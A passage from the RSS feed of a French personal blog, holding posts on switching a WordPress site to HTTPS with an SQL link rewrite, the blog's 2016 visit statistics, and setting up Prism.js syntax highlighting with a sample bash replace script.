&gt;Let&amp;rsquo;s encrypt&lt;/a&gt;. Enfin, parce que Google a commencé à intégrer l&amp;rsquo;utilisation d&amp;rsquo;une connexion chiffrée dans ses critères de classement (le fameux &lt;a class=&#34;link&#34; href=&#34;https://fr.wikipedia.org/wiki/PageRank&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;PageRank&lt;/a&gt;). Pour terminer, certainement aussi pour suivre un effet de mode !&lt;/p&gt;&#xA;&lt;p&gt;Voilà pour les motivations. J&amp;rsquo;étais donc parti avec l&amp;rsquo;idée de devoir générer un certificat sur le site de &lt;a class=&#34;link&#34; href=&#34;https://letsencrypt.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Let&amp;rsquo;s encrypt&lt;/a&gt;, puis l&amp;rsquo;installer sur le site de mon hébergeur (One.com), et enfin passer manuellement le site Wordpress en https, ce qui peut se révéler galère&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Et puis en lisant &lt;a class=&#34;link&#34; href=&#34;https://wpmarmite.com/wordpress-https/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;cet article&lt;/a&gt;, j&amp;rsquo;ai vu que la première chose à faire était déjà de voir ce que proposait son hébergeur. Dans mon cas, c&amp;rsquo;est One.com, et effectivement, ils proposent très facilement un certificat, il y a juste une case à cocher, et attendre au plus 90 minutes pour que le certificat soit installé et opérationnel.&lt;/p&gt;&#xA;&lt;p&gt;Il suffit ensuite d&amp;rsquo;installer un plugin Wordpress appelé &lt;a class=&#34;link&#34; href=&#34;https://wordpress.org/plugins/really-simple-ssl/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Really Simple SSL&lt;/a&gt;, de l&amp;rsquo;activer, et le tour est joué ! Le site est maintenant accessible en https :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;598px&#34; data-flex-grow=&#34;249&#34; height=&#34;178&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/passage-du-blog-en-https/pledfr.jpg&#34; width=&#34;444&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;D&amp;rsquo;ailleurs, si vous utilisez Firefox comme navigateur (le seul navigateur qui respecte votre vie privée, et dont la dernière version v57 est très rapide), je vous recommande l&amp;rsquo;extension &lt;a class=&#34;link&#34; href=&#34;https://mybrowseraddon.com/smart-https.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;SmartHTTPS&lt;/a&gt; qui essaie systématiquement le https et rebascule sur http si cela ne fonctionne pas :&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://mybrowseraddon.com/smart-https.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1938px&#34; data-flex-grow=&#34;807&#34; height=&#34;66&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/passage-du-blog-en-https/smarthttps.jpg&#34; width=&#34;533&#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;les-liens-dans-les-articles&#34;&gt;Les liens dans les articles&#xA;&lt;/h3&gt;&lt;p&gt;Pour aller un peu plus loin, les liens dans les articles (vers des images par exemple) sont toujours en http, tels que je les avais insérés. En fait, le plugin les réécrit en https dynamiquement quand la page est demandée.&lt;/p&gt;&#xA;&lt;p&gt;Je n&amp;rsquo;ai pas pu m&amp;rsquo;empêcher d&amp;rsquo;aller tout de même les modifier dans la Base de Données de Wordpress via PhpMyAdmin et une petite commande SQL :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;722px&#34; data-flex-grow=&#34;301&#34; height=&#34;184&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/passage-du-blog-en-https/sql1.jpg&#34; width=&#34;554&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;La commande est (0_posts est la tables des articles dans wordpress, et post_content le nom du champ) :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;update&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;_posts &lt;span style=&#34;color:#66d9ef&#34;&gt;SET&lt;/span&gt; post_content &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;REPLACE&lt;/span&gt;(post_content, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;http://pled.fr&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;https://pled.fr&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;On peut ensuite vérifier qu&amp;rsquo;il n&amp;rsquo;existe plus de liens en http avec la commande suivante :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;FROM&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;`&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;_posts&lt;span style=&#34;color:#f92672&#34;&gt;`&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;WHERE&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;`&lt;/span&gt;post_content&lt;span style=&#34;color:#f92672&#34;&gt;`&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;LIKE&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;%http://pled.fr%&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;568px&#34; data-flex-grow=&#34;236&#34; height=&#34;234&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/passage-du-blog-en-https/sql2.jpg&#34; width=&#34;554&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Voilà, il m&amp;rsquo;a fallu plus de temps à écrire cet article qu&amp;rsquo;à passer en https ! Ce qui est une très bonne chose. ;-)&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Statistiques du blog – année 2016</title>
            <link>https://pled.fr/statistiques-du-blog-annee-2016/</link>
            <pubDate>Tue, 03 Jan 2017 11:15:08 +0000</pubDate>
            <guid>https://pled.fr/statistiques-du-blog-annee-2016/</guid>
            <description>&lt;p&gt;&lt;img loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;2017.png#floatleft&#34;&gt; Tout d’abord, meilleurs vœux pour cette nouvelle année 2017 à toutes et à tous passant sur ce blog, par hasard ou pas. Santé &amp;amp; bonheur pour vous et vos proches, c’est le plus important dans ce monde aux équilibres instables, bien malin qui pourrait prévoir ce qui va se passer&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Comme chaque année, c&amp;rsquo;est l&amp;rsquo;occasion de faire les statistiques du blog. L&amp;rsquo;année dernière, j&amp;rsquo;étais reparti pratiquement de zéro puisque je venais de migrer vers un nouvel hébergeur, suite à des &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=1&#34; &gt;déconvenues avec Free&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Les chiffres sont donc logiquement en hausse comparés à 2015, sans toutefois retrouver les plus belles années chez Free. Il faut maintenant tenir compte de l&amp;rsquo;évolution d&amp;rsquo;internet et de ses usages : les blogs comme celui-ci sont en perte de vitesse, il faut maintenant être sur Facebook, ou Google+, bref les fameux réseaux sociaux, pour être &amp;ldquo;visible&amp;rdquo;. À ce prix, je préfère largement devenir invisible ! ;-)&lt;/p&gt;&#xA;&lt;p&gt;Tout dépend aussi des sujets abordés : j&amp;rsquo;ai beaucoup d&amp;rsquo;articles sur les bouquins que j&amp;rsquo;ai lu, qui intéressent potentiellement peu de monde. On voit par contre que les articles sur le smartphone, ou même Ubuntu (un article cette année), ont eu plus de succès, ce qui est logique : ce sont des articles qui expliquent comment faire les choses, ou résoudre un problème.&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai aussi commencé à faire des articles sur les films que je vais voir : depuis que je suis à Rennes, je peux profiter du Ciné TNB, à la programmation souvent plus intéressante que celle des grands cinémas (sans pour autant négliger ceux-ci quand le film le mérite).&lt;/p&gt;&#xA;&lt;h3 id=&#34;les-stats&#34;&gt;Les stats&#xA;&lt;/h3&gt;&lt;p&gt;Commençons par le nombre de visites mensuelles : le nombre est à peu près stable, autour de 3000 visites. En hausse comparé à 2015, puisque j&amp;rsquo;étais parti pratiquement de zéro pour arriver péniblement à 2500 visites en Décembre.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/wp-content/uploads/2017/01/stats1.jpg&#34; &gt;&lt;img alt=&#34;statistiques mensuelles 2016&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;634px&#34; data-flex-grow=&#34;264&#34; height=&#34;262&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/statistiques-du-blog-annee-2016/stats1.jpg&#34; width=&#34;693&#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Les records de visites par mois et par jour sont également dépassés, pour les mêmes raisons. Il faudra donc battre mars 2016 l&amp;rsquo;année prochaine.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/wp-content/uploads/2017/01/stats2.jpg&#34; &gt;&lt;img alt=&#34;statistiques par mois et par jour&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;671px&#34; data-flex-grow=&#34;279&#34; height=&#34;364&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/statistiques-du-blog-annee-2016/stats2.jpg&#34; srcset=&#34;https://pled.fr/statistiques-du-blog-annee-2016/stats2_hu_93577be611c4bac3.jpg 800w, https://pled.fr/statistiques-du-blog-annee-2016/stats2.jpg 1018w&#34; width=&#34;1018&#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Ce qui nous donne en comparant les années de 2009 à 2015 :&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/wp-content/uploads/2017/01/stats3-2.jpg&#34; &gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;969px&#34; data-flex-grow=&#34;403&#34; height=&#34;230&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/statistiques-du-blog-annee-2016/stats3-2.jpg&#34; srcset=&#34;https://pled.fr/statistiques-du-blog-annee-2016/stats3-2_hu_8dc33b9448834d22.jpg 800w, https://pled.fr/statistiques-du-blog-annee-2016/stats3-2.jpg 929w&#34; width=&#34;929&#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai bien peur que les années 2012-2013 chez Free ne soient jamais ne serait-ce qu&amp;rsquo;approchées ! :-)&lt;/p&gt;&#xA;&lt;p&gt;Enfin, selon le plugin &lt;a class=&#34;link&#34; href=&#34;http://faked.org/blog/wp-onlinecounter/&#34;  title=&#34;la page du plugin WP online counter&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;WP online counter&lt;/a&gt;, le nombre total de visiteurs du blog (depuis sa création) est de &lt;strong&gt;1 395 413&lt;/strong&gt; visites à ce jour.&lt;/p&gt;&#xA;&lt;h3 id=&#34;les-articles&#34;&gt;Les articles&#xA;&lt;/h3&gt;&lt;p&gt;Il y a maintenant 1034 articles publiés sur le blog, et 1 205 commentaires. Soit 65 articles rédigés en 2016 (en baisse), et 106 commentaires cette même année (en hausse, ce qui est une bonne nouvelle).&#xA;Titre20152016Articles7665Commentaires24106&#xA;Venons-en maintenant aux articles les plus lus !&lt;/p&gt;&#xA;&lt;p&gt;Avec le changement d&amp;rsquo;hébergeur, les statistiques de l&amp;rsquo;année dernière avaient été remises à zéro, laissant une chance aux articles plus récents d&amp;rsquo;apparaître dans le « &lt;strong&gt;top 20&lt;/strong&gt;»&amp;hellip; Sans pour autant avoir la moindre chance de détrôner les deux premiers articles concernant ma fracture du coude, et même un troisième sur la chute de vélo ayant causé cette fracture !&lt;/p&gt;&#xA;&lt;p&gt;L&amp;rsquo;article sur GRAMPS, troisième l&amp;rsquo;année dernière, se fait doubler par celui sur la synchro des agendas entre Thunderbird et Android avec Baïkal. L&amp;rsquo;intérêt pour le mobile se confirme avec six articles liés à ce sujet dans ce &amp;ldquo;top 20&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;Deux articles sont dans la catégorie Littérature : &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=6863&#34; &gt;Mémoires d&amp;rsquo;une jeune fille rangée - Simone de Beauvoir&lt;/a&gt;, et &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=8998&#34; &gt;Un barbare en Asie - Henri Michaux&lt;/a&gt; : c&amp;rsquo;est peu, mais mieux que l&amp;rsquo;année dernière (0 !). Et puis ce sont deux très bons bouquins !&lt;/p&gt;&#xA;&lt;p&gt;Et c&amp;rsquo;est &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=1687&#34; &gt;Tam Coc&lt;/a&gt; qui ferme la marche, article écrit pendant mon voyage en Asie en 2009. Il était déjà présent l&amp;rsquo;année dernière ! Ça me fait bien plaisir, et cela permet de fermer cette liste par de belles images.&#xA;Titre20152016&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=2829&#34; &gt;Fracture du coude – 6 mois après&lt;/a&gt;4 99811407&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=2424&#34; &gt;Rééducation du coude&lt;/a&gt;3 93711374&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=8479&#34; &gt;Synchroniser les agendas de Thunderbird et Android avec Baïkal&lt;/a&gt;5821476&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=2887&#34; &gt;Faire son arbre généalogique avec GRAMPS&lt;/a&gt;635 1126&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=8576&#34; &gt;Rooter le Mororola Moto G 4G LTE&lt;/a&gt;400903&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=2339&#34; &gt;Chute de vélo (à l’arrêt)&lt;/a&gt;463 839&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=9289&#34; &gt;Motorola Moto G : passage à Android 5.1 avec la &amp;ldquo;Stock ROM&amp;rdquo;&lt;/a&gt;548&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=9126&#34; &gt;Radiotray et les nouvelles URLs pour Radio-France&lt;/a&gt;174467&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=2965&#34; &gt;Le principe de Peter et de Dilbert&lt;/a&gt;250408&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=8413&#34; &gt;FreshRSS et EasyRSS : une bonne combinaison&lt;/a&gt;155293&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=9956&#34; &gt;Installation d&amp;rsquo;Ubuntu 16.04, retour et problèmes rencontrés&lt;/a&gt; 288&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=3946&#34; &gt;L’obsolescence programmée&lt;/a&gt;309 284&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=9307&#34; &gt;Plus de guidage vocal dans OsmAnd&lt;/a&gt; 252&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=6421&#34; &gt;TV Samsung, Mediatomb et Ubuntu&lt;/a&gt;139218&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=6863&#34; &gt;Mémoires d&amp;rsquo;une jeune fille rangée - Simone de Beauvoir&lt;/a&gt;215&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=3933&#34; &gt;Convertir les fichiers TS de la Freebox (SD)&lt;/a&gt;115207&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=8774&#34; &gt;Syncthing, pour synchroniser vos fichiers&lt;/a&gt; 194&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=8998&#34; &gt;Un barbare en Asie - Henri Michaux&lt;/a&gt; 189&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=9477&#34; &gt;Disk Station DS214 Synology - Installation&lt;/a&gt; 181&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=1687&#34; &gt;Tam Coc&lt;/a&gt;143177&#xA;Voilà, à l&amp;rsquo;année prochaine, et portez vous bien !&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Prism.js : coloration syntaxique sans plugin pour Wordpress</title>
            <link>https://pled.fr/prism-js-coloration-syntaxique-sans-plugin-pour-wordpress/</link>
            <pubDate>Mon, 02 May 2016 16:44:05 +0000</pubDate>
            <guid>https://pled.fr/prism-js-coloration-syntaxique-sans-plugin-pour-wordpress/</guid>
            <description>&lt;p&gt;&lt;img alt=&#34;prismjs&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;prismjs.jpg#floatleft&#34;&gt;Afficher de belle manière des lignes de code sous Wordpress nécessite à priori l&amp;rsquo;installation d&amp;rsquo;un plugin dédié, comme par exemple &lt;a class=&#34;link&#34; href=&#34;https://wordpress.org/plugins/syntaxhighlighter/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;SyntaxHighlighter Evolved&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Je l&amp;rsquo;avais abandonné quand le blog était hébergé chez Free, et que la consommation mémoire était limitée (voir &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=4704&#34; &gt;Adieu SyntaxHighlighter&lt;/a&gt;). Il occupait environ 400 Ko de mémoire environ d&amp;rsquo;après ce que j&amp;rsquo;avais pu mesurer.&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;étais alors passé à quelque chose de beaucoup plus simple, un autre plugin appelé &lt;a class=&#34;link&#34; href=&#34;http://priyadi.net/archives/2005/09/27/wordpress-plugin-code-autoescape/&#34;  title=&#34;Page du plugin Code Autoescape&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Code Autoescape&lt;/a&gt;, mais qui ne fait pas de coloration syntaxique, il permet juste de s&amp;rsquo;assurer que ce que l&amp;rsquo;on écrit entre deux balises &lt;!-- raw HTML omitted --&gt;&lt;!-- raw HTML omitted --&gt; ne soit pas interprété. Léger en mémoire, certes beaucoup moins joli visuellement, mais très efficace.&lt;/p&gt;&#xA;&lt;p&gt;Voilà ce que peut donner &lt;a class=&#34;link&#34; href=&#34;https://wordpress.org/plugins/syntaxhighlighter/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;SyntaxHighlighter&lt;/a&gt;, avec beaucoup de possibilités (presque trop), comme numéro de ligne, surlignage, de nombreux langages supportés, etc&amp;hellip; Et un peu chargé visuellement à mon goût !&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;SyntaxHighlighter&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;326px&#34; data-flex-grow=&#34;136&#34; height=&#34;332&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/prism-js-coloration-syntaxique-sans-plugin-pour-wordpress/SyntaxHighlighter.png&#34; width=&#34;452&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Et voilà ce que donne un petit script bash avec &lt;a class=&#34;link&#34; href=&#34;http://priyadi.net/archives/2005/09/27/wordpress-plugin-code-autoescape/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;CodeAutoescape&lt;/a&gt; : plus basique, c&amp;rsquo;est difficile ! J&amp;rsquo;avais tout de même ajouté une petite image de terminal pour améliorer l&amp;rsquo;apparence ;-)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;Affichage code minimaliste&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;746px&#34; data-flex-grow=&#34;311&#34; height=&#34;152&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/prism-js-coloration-syntaxique-sans-plugin-pour-wordpress/oldcode.jpg&#34; width=&#34;473&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Or je suis tombé cette semaine sur cet article : &lt;a class=&#34;link&#34; href=&#34;http://crambler.com/how-to-implement-prism-js-syntax-highlighting-into-your-wordpress-site/comment-page-1/#comment-14189&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;How To Implement Prism.js Syntax Highlighting Into Your WordPress Site&lt;/a&gt;. Il s&amp;rsquo;agit de ne pas utiliser un plugin, mais d&amp;rsquo;incorporer au site quelque chose de beaucoup plus léger, créé avec les standards modernes du web : &lt;a class=&#34;link&#34; href=&#34;http://prismjs.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Prism&lt;/a&gt;. On peut par exemple ne sélectionner que les langages qui nous intéressent, ce qui réduit considérablement la taille mémoire occupée (il n&amp;rsquo;y pas d&amp;rsquo;options non plus, on peut juste choisir un thème, mais cela me convient parfaitement).&lt;/p&gt;&#xA;&lt;p&gt;Voilà ce que donne le même script bash avec Prism.js :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#! /bin/sh&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# nom du fichier : replaceall.sh&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# pas de SAUVEGARDE des fichiers faite par ce script.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;find . -type f -name &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;*.html&amp;#39;&lt;/span&gt; -print | &lt;span style=&#34;color:#66d9ef&#34;&gt;while&lt;/span&gt; read i&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;do&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sed &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;s|&lt;/span&gt;$1&lt;span style=&#34;color:#e6db74&#34;&gt;|&lt;/span&gt;$2&lt;span style=&#34;color:#e6db74&#34;&gt;|g&amp;#34;&lt;/span&gt; $i &amp;gt; $i.tmp &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; mv $i.tmp $i&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;done&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Avouez que c&amp;rsquo;est tout de même nettement mieux, tout en restant sobre !&lt;/p&gt;&#xA;&lt;p&gt;Voyons comment implémenter tout ça : l&amp;rsquo;article cité plus haut est très complet, je ne rentrerai pas dans tous les détails et remarques, il s&amp;rsquo;agit juste d&amp;rsquo;expliquer comment l&amp;rsquo;implémenter sur son blog wordpress, en français.&lt;/p&gt;&#xA;&lt;h3 id=&#34;1ère-étape--sélection-et-téléchargement&#34;&gt;1ère étape : Sélection et téléchargement&#xA;&lt;/h3&gt;&lt;p&gt;Il faut d&amp;rsquo;abord se rendre sur &lt;a class=&#34;link&#34; href=&#34;http://prismjs.com/download.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;la page de téléchargement de Prism&lt;/a&gt;, afin de sélectionner les langages que l&amp;rsquo;on souhaite, puis télécharger les deux fichiers nécessaires, à savoir &lt;strong&gt;prism.js&lt;/strong&gt; et &lt;strong&gt;prism.css&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Sélectionner d&amp;rsquo;abord &amp;ldquo;Minified version&amp;rdquo; dans la section &amp;ldquo;Compression level&amp;rdquo; : seule la partie javascript sera compressée, mais c&amp;rsquo;est toujours ça de pris.&lt;/li&gt;&#xA;&lt;li&gt;Sélectionner le thème que vous préférez : vous pouvez voir les différentes rendus de chaque thème sur la page d&amp;rsquo;accueil, en le sélectionnant (les petits cercles en haut à droite : default, dark, funky, etc..), puis en regardant le rendu dans les exemples de la page d&amp;rsquo;accueil. Pour ma part, j&amp;rsquo;ai choisi le Default.&lt;/li&gt;&#xA;&lt;li&gt;Sélectionner les langages souhaités : par défaut, quatre langages sont déjà sélectionnés, à vous de choisir dans la longue liste si d&amp;rsquo;autres vous sont nécessaires. Pour ma part, j&amp;rsquo;ai juste rajouté le &amp;ldquo;bash&amp;rdquo; et le &amp;ldquo;php&amp;rdquo;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;prism-languages&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;388px&#34; data-flex-grow=&#34;161&#34; height=&#34;351&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/prism-js-coloration-syntaxique-sans-plugin-pour-wordpress/prism-languages.jpg&#34; width=&#34;568&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Une fois ceci fait, rendez-vous en bas de la page : on vous indique la taille des deux fichiers (15,93Ko pour les deux fichiers dans mon cas, à comparer avec les 400Ko de SyntaxHighlighter !!) ; il ne reste plus qu&amp;rsquo;à télécharger les deux fichiers :&lt;strong&gt;prism.js&lt;/strong&gt; et &lt;strong&gt;prism.css&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/wp-content/uploads/2016/05/prism-download.jpg&#34; &gt;&lt;img alt=&#34;prism-download-500&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;402px&#34; data-flex-grow=&#34;167&#34; height=&#34;298&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/prism-js-coloration-syntaxique-sans-plugin-pour-wordpress/prism-download-500.jpg&#34; width=&#34;500&#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;2ème-étape--installation&#34;&gt;2ème étape : Installation&#xA;&lt;/h3&gt;&lt;p&gt;L&amp;rsquo;auteur de l&amp;rsquo;article insiste ici sur l&amp;rsquo;intérêt d&amp;rsquo;utiliser un thème enfant (child theme) plutôt 